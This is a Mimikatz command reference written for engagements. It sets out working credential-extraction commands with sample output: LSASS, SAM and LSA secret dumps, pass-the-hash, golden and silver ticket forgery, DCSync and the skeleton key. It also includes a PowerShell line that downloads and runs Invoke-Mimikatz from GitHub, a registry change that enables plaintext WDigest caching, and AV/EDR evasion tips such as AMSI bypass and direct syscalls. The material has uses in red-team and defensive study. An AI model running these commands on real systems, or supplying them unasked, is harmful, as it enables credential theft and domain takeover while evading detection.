
Mimikatz
Mimikatz command reference for credential extraction, pass-the-hash, Kerberos ticket attacks and DCSync on Windows.
Introduction
Mimikatz is a post-exploitation tool by Benjamin Delpy that extracts credentials from Windows memory: plaintext passwords, hashes, PIN codes and Kerberos tickets. It also forges tickets and runs DCSync. This note is a command reference for the modules used most on engagements.
Detection warning
Antivirus and EDR products have signatures for Mimikatz. On current engagements, consider one of these instead:
- Invoke-Mimikatz, the PowerShell version
- SafetyKatz, a .NET implementation
- SharpKatz, a C# port
- pypykatz, a Python implementation that works offline on LSASS dumps
Getting started
Prerequisites
Most Mimikatz operations need administrator or SYSTEM rights:
mimikatz # privilege::debug
Privilege '20' OK
mimikatz # token::elevate
Token Id : 0
User name : NT AUTHORITY\SYSTEMModule overview
| Module | Description |
|---|---|
sekurlsa | Extract passwords, keys, tickets from LSASS |
kerberos | Kerberos ticket manipulation |
lsadump | LSA secrets, SAM, cached credentials |
vault | Windows Vault passwords |
crypto | Certificate and key operations |
token | Token manipulation |
process | Process manipulation and injection |
Credential extraction
Dump logon passwords
mimikatz # sekurlsa::logonpasswords
Authentication Id : 0 ; 515764 (00000000:0007df34)
Session : Interactive from 1
User Name : Administrator
Domain : CORP
Logon Server : DC01
msv :
[00000003] Primary
* Username : Administrator
* Domain : CORP
* NTLM : cc36cf7a8514893efccd332446158b1a
* SHA1 : a299912f3dc7cf0023aef8e4361abfc03e9a8c30
wdigest :
* Username : Administrator
* Domain : CORP
* Password : P@ssw0rd123!Dump the SAM database
mimikatz # lsadump::sam
RID : 000001f4 (500)
User : Administrator
Hash NTLM: cc36cf7a8514893efccd332446158b1a
RID : 000001f5 (501)
User : GuestDump LSA secrets
mimikatz # lsadump::secrets
Secret : DefaultPassword
cur/text: ServiceAccountP@ss!Dump cached domain credentials
mimikatz # lsadump::cache
User : CORP\jsmith
MsCacheV2 : $DCC2$10240#jsmith#a1b2c3d4e5f6...Extract from an LSASS dump
mimikatz # sekurlsa::minidump lsass.dmp
mimikatz # sekurlsa::logonpasswordsPass-the-Hash
Run commands as a user with only the NTLM hash, no password needed:
mimikatz # sekurlsa::pth /user:Administrator /domain:corp.local /ntlm:cc36cf7a8514893efccd332446158b1a /run:cmd.exeWith AES keys
mimikatz # sekurlsa::pth /user:Administrator /domain:corp.local /aes256:b7268361386090314acce8d9367e55f55865e7ef8e670fbe4262d6c94098a9e9Kerberos attacks
Export tickets
mimikatz # sekurlsa::tickets /export
# List current tickets
mimikatz # kerberos::list
# Purge tickets
mimikatz # kerberos::purgePass-the-Ticket
mimikatz # kerberos::ptt ticket.kirbi
# Verify
mimikatz # kerberos::listGolden ticket
Forge a TGT with the krbtgt hash:
# First, get krbtgt hash via DCSync
mimikatz # lsadump::dcsync /user:corp\krbtgt
# Create golden ticket
mimikatz # kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-1234567890-1234567890-1234567890 /krbtgt:cc36cf7a8514893efccd332446158b1a /id:500 /ptt
# Open command prompt with ticket
mimikatz # misc::cmdSilver ticket
Forge a service ticket:
mimikatz # kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-1234567890-1234567890-1234567890 /target:sql01.corp.local /service:MSSQLSvc /rc4:cc36cf7a8514893efccd332446158b1a /pttDCSync attack
Replicate credentials from a domain controller:
mimikatz # lsadump::dcsync /user:corp\Administrator
mimikatz # lsadump::dcsync /user:corp\krbtgt
mimikatz # lsadump::dcsync /all /csvThe account needs these rights on the domain:
- Replicating Directory Changes
- Replicating Directory Changes All
Skeleton key
Inject a master password into LSASS on a domain controller. It then works for any account:
mimikatz # privilege::debug
mimikatz # misc::skeleton
# Now authenticate to any account with password "mimikatz"
net use \\dc01\admin$ /user:Administrator mimikatzPowerShell (Invoke-Mimikatz)
PowerSploit archived
PowerSploit is no longer maintained. SharpKatz, SafetyKatz and pypykatz are maintained alternatives.
# Load Mimikatz in memory (PowerSploit - archived)
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1')
# Dump credentials
Invoke-Mimikatz -Command '"sekurlsa::logonpasswords"'
# DCSync
Invoke-Mimikatz -Command '"lsadump::dcsync /user:CORP\Administrator"'
# Golden ticket
Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-... /krbtgt:HASH /ptt"'
# Pass-the-hash
Invoke-Mimikatz -Command '"sekurlsa::pth /user:Administrator /domain:corp.local /ntlm:HASH /run:powershell.exe"'WDigest credential caching
Turn on plaintext password storage. The user has to authenticate again before the password appears:
# Enable WDigest
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
# Requires lock/unlock or logoff/logon to take effectCommon one-liners
# Full credential dump
mimikatz # privilege::debug
mimikatz # token::elevate
mimikatz # sekurlsa::logonpasswords
mimikatz # lsadump::sam
mimikatz # vault::cred
mimikatz # vault::list
# Kerberos tickets
mimikatz # sekurlsa::tickets /export
mimikatz # kerberos::list /export
# Pass-the-hash
mimikatz # sekurlsa::pth /user:Admin /domain:CORP /ntlm:HASH /run:cmd
# DCSync all
mimikatz # lsadump::dcsync /domain:corp.local /all /csvDetection and evasion
Common detection points
- LSASS memory access
- Suspicious process creation patterns
- Known Mimikatz signatures in memory
- DCSync replication traffic
- Kerberos ticket anomalies
Evasion techniques
- Use obfuscated versions (Invoke-Mimikatz with AMSI bypass)
- Dump LSASS to disk and analyze offline with pypykatz
- Use direct syscalls to avoid API hooks
- Load from memory without touching disk
References
MITRE ATT&CK techniques
- T1003.001 - OS Credential Dumping: LSASS Memory - sekurlsa::logonpasswords
- T1003.002 - OS Credential Dumping: Security Account Manager - lsadump::sam
- T1003.003 - OS Credential Dumping: NTDS - lsadump::dcsync
- T1003.004 - OS Credential Dumping: LSA Secrets - lsadump::secrets
- T1003.005 - OS Credential Dumping: Cached Domain Credentials - lsadump::cache
- T1558.001 - Steal or Forge Kerberos Tickets: Golden Ticket - kerberos::golden
- T1558.002 - Steal or Forge Kerberos Tickets: Silver Ticket - Service ticket forgery
- T1550.002 - Use Alternate Authentication Material: Pass the Hash - sekurlsa::pth
- T1550.003 - Use Alternate Authentication Material: Pass the Ticket - kerberos::ptt
- T1556.001 - Modify Authentication Process: Domain Controller Authentication - misc::skeleton
Official documentation
- Mimikatz GitHub - Official repository
- Mimikatz Wiki - Command documentation
Security resources
- ADSecurity Mimikatz Guide - Usage guide for each module
- HackTricks: Mimikatz - Attack techniques
Alternative tools
- pypykatz - Python implementation for offline analysis
- SharpKatz - C# port
- SafetyKatz - .NET version with reflective loading